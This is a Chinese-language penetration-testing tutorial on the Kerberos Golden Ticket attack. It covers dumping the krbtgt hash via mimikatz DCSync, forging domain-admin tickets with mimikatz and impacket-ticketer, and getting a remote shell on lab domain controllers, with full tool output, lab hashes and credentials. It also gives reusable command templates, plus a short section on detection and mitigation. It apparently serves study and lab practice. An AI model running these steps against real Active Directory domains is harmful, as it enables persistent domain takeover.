黄金票据
1. 理论
黄金票据攻击的核心是获取 KRBTGT 账户的 NTLM 哈希值。只要有了这个哈希,攻击者就可以伪造任何用户的身份(包括域管理员),并给自己发放永不过期的访问凭据
在AS-REQ之后,域控会把TGT发送给用户。TGT 是一段包含用户信息的数据,所有这些信息都包含在 PAC ( Privilege Attribute Certificate )中。PAC会被复制到每个 TGS票据中,以便服务账户知道它们正在与谁打交道。
但是域控使用krbtgt账户的密钥加密TGT,所以只要知道了krbtgt账号的密钥就可以解密任何TGT以及其中的PAC,然后修改PAC的信息(比如修改用户为域管理员组)再用krbtgt的密钥进行重新加密。这种伪造的TGT就是黄金票据
1.1. 危害:
作为攻击者,可以把金票导入当前会话,在上下文中使用各种工具。还可以伪造票据以伪装成高权限用户,这些用户虽然拥有高权限访问能力,但却不属于受严格监控的组(如Domain Admin Enterprise Admins )
黄金票据最恐怖的点在于KRBTGT 账户的密码记录里实际上保存着 “当前密码” 和 “前一个密码”。如果当前密码失效,就会用前一个密码进行验证,所以必须要改两次krbtgt密码才能缓解。但是这里无法连续改两次密码,因为需要等到全域同步了才能进行下一次密码修改。很多企业为了保险通常会等待24小时后才会修改第二次。
2. 利用
2.1. 要求:
要伪造一个黄金票据需要一下内容:
- 域名
- 域SID
- 要模拟的用户
- Krbtgt用户的哈希 (最重要)
2.2. On Windows
2.2.1. 获取域SID
PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> Get-DomainSID
S-1-5-21-2974783224-3764228556-2640795941
2.2.2. 获取krbtgt哈希
这里用mimikatz
PS C:\Tools> .\mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # lsadump::dcsync /user:krbtgt /domain:inlanefreight.local
[DC] 'inlanefreight.local' will be the domain
[DC] 'DC01.INLANEFREIGHT.LOCAL' will be the DC server
[DC] 'krbtgt' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : krbtgt
** SAM ACCOUNT **
SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 10/14/2022 6:51:29 AM
Object Security ID : S-1-5-21-2974783224-3764228556-2640795941-502
Object Relative ID : 502
Credentials:
Hash NTLM: 810d754e118439bab1e1d13216150299
ntlm- 0: 810d754e118439bab1e1d13216150299
<SNIP>
2.2.3. 伪造黄金票据
mimikatz # kerberos::golden /domain:inlanefreight.local /user:Administrator /sid:S-1-5-21-2974783224-3764228556-2640795941 /rc4:810d754e118439bab1e1d13216150299 /ptt
User : Administrator
Domain : inlanefreight.local (INLANEFREIGHT)
SID : S-1-5-21-2974783224-3764228556-2640795941
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: 810d754e118439bab1e1d13216150299 - rc4_hmac_nt
Lifetime : 8/17/2020 2:52:10 PM ; 8/15/2030 2:52:10 PM ; 8/15/2030 2:52:10 PM
-> Ticket : ** Pass The Ticket **
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Golden ticket for 'Administrator @ inlanefreight.local' successfully submitted for current session
mimikatz # exit
Bye!
# 使用 NT hash 生成黄金票据
kerberos::golden /domain:$DOMAIN /sid:$DomainSID /rc4:$krbtgt_NThash /user:randomuser /ptt
# 使用 AES 128 位密钥生成黄金票据
kerberos::golden /domain:$DOMAIN /sid:$DomainSID /aes128:$krbtgt_aes128_key /user:randomuser /ptt
# 使用 AES 256 位密钥生成黄金票据
kerberos::golden /domain:$DOMAIN /sid:$DomainSID /aes256:$krbtgt_aes256_key /user:randomuser /ptt
这里我们获取到了一个Administrator的TGT
2.2.4. 使用黄金票据进行WINRM
PS C:\Tools> Enter-PSSession dc01
[dc01]: PS C:\Users\administrator.INLANEFREIGHT\Documents> whoami
inlanefreight\administrator
在伪造票据时,2021年11月之前的系统只要 user-id 和 group-id 合理,用户名基本无所谓。但自 2021 年 11 月的更新后,如果票据中填写的用户名在 Active Directory 中不存在,票据会被拒绝(Silver Ticket 也一样)。
要制作黄金票据,测试者需要找到 krbtgt 账户的 RC4 密钥(即 NT hash)或 AES 密钥(128 或 256 位)。大多数情况下,这只能通过 DCSync 攻击、拥有域管权限后才能实现。因此,黄金票据只适用于横向移动,而不能用于权限提升。
微软现在默认使用 AES 256 位加密。使用这种加密算法(而不是直接给 NThash)会更加隐蔽。
2.3. On linux
利用 impacket-ticketer 可以完成票据的伪造
2.3.1. 获取域SID
┌──(root㉿kali)-[~/Desktop/hmv/dc04]
└─# impacket-lookupsid soupedecode.local/rtina979:c1trus123@192.168.56.126 |grep SID
[*] Brute forcing SIDs at 192.168.56.126
[*] Domain SID is: S-1-5-21-2986980474-46765180-2505414164
2.3.2. 伪造黄金票据
┌──(root㉿kali)-[~/Desktop/hmv/dc04]
└─# impacket-ticketer -nthash 0f55cdc40bd8f5814587f7e6b2f85e6f -domain-sid S-1-5-21-2986980474-46765180-2505414164 -domain soupedecode.local administrator
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for soupedecode.local/administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncAsRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncASRepPart
[*] Saving ticket in administrator.ccache
2.3.3. 导入环境变量 并使用
export KRB5CCNAME=administrator.ccache
┌──(root㉿kali)-[~/Desktop/hmv/dc04]
└─# impacket-wmiexec soupedecode.local/administrator@dc01.soupedecode.local -k -target-ip 192.168.56.126
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Password:
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>
# 查找域的 SID
lookupsid.py -hashes 'LMhash:NThash' 'DOMAIN/DomainUser@DomainController' 0
# 使用 RC4 密钥(即 NT hash)生成黄金票据
ticketer.py -nthash "$krbtgtNThash" -domain-sid "$domainSID" -domain "$DOMAIN" "randomuser"
# 使用 AES 128/256 位密钥生成黄金票据
ticketer.py -aesKey "$krbtgtAESkey" -domain-sid "$domainSID" -domain "$DOMAIN" "randomuser"
# 使用 RC4 密钥(即 NT hash)并自定义用户/组 ID 生成黄金票据
ticketer.py -nthash "$krbtgtNThash" -domain-sid "$domainSID" -domain "$DOMAIN" -user-id "$USERID" -groups "$GROUPID1,$GROUPID2,..." "randomuser"
2.4. 检测
2.4.1. 不好检测的点
这种持久化方式不容易被检测到,因为黄金票据是有效的 TGT。Windows 事件日志无法区分合法的 TGT 与恶意伪造的黄金票据。此外,重置被冒充账户的密码也不会使该票据失效
2.4.2. 检测点
- 票据有效期:黄金票据的创建寿命通常远长于票据默认的有效期(Mimikatz 生成的黄金票据默认有效期为 10 年)。某些 AD 监控产品可以检测到这些较长的票据寿命并将其作为 IOC。
- 账户 DOMAIN 字段为空
- 账户 DOMAIN 字段包含的是 DOMAIN FQDN,而不是仅仅的域名
一旦检测到黄金票据,必须更改 krbtgt 账户密码两次以移除持久化,因为当前和之前的密码都存储在域中。 krbtgt 账户的密码应定期更改,因为它是管理员账户
2.5. 其他
对于黄金票据(Golden Ticket)和白银票据(Silver Ticket),需要注意的是,默认情况下,ticketer 和 mimikatz 伪造的票据中 PAC(权限属性证书)会声明该用户属于一些众所周知的管理员组(即组ID 513、512、520、518、519)。但在某些场景下,这些组权限可能还不够(比如某些特殊机器上,即使是域管理员也没有本地管理员权限)。
在这种情况下,测试者可以在生成票据时手动指定所有需要的组ID。然而,Deny ACE(拒绝访问控制项)实际上可能会阻止这种方式生效。如果遇到 Deny ACE 阻止域管理员登录,而你又在票据中包含了域管理员组ID,这就会成为一个问题。对于拥有大量组的域来说,这种方法也非常不方便。
另一种解决方案是,寻找一个具有合适权限的特定用户进行模拟,然后使用 GoldenCopy 工具生成命令,允许你伪造一个包含目标用户特定属性(如sid、组ID等)的票据。这些属性值可以从 neo4j 数据库中收集获得。
- Golden Ticket 是由 krbtgt 账号加密的,而 Silver Ticket(白银票据)是由特定服务账号加密的。
- 金票的特点是不需要与AS进行交互,但需要用户krbtgt的HASH;